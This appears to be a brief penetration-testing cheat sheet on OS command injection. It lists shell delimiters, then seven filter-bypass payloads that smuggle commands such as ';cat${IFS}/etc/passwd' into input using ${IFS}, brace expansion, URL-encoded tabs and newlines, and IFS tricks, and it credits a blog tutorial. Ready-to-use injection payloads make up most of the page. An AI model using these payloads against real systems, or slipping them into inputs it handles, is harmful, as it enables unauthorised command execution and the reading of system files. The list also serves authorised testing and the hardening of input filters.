Remote Code Execution (RCE)

Shell Delimiters

;
>
>>
&
&&
|
||

Bypasses

# Some simple examples of bypasses when searching for OS Command Injection as referenced from 0xFFFF's blog.

;cat${IFS}/etc/passwd
;{cat,/etc/passwd}
;cat%09/etc/passwd
;cat%0a/etc/passwd
;cat+/etc/passwd
;$lol='\x20';cat${lol}/etc/passwd
;IFS=,;`cat<<</etc,/passwd`

Filter Bypass Methods

References

OS Command Injection tutorial – Part #1 (Basics and Filter Evasion)0xFFFF@blog:~$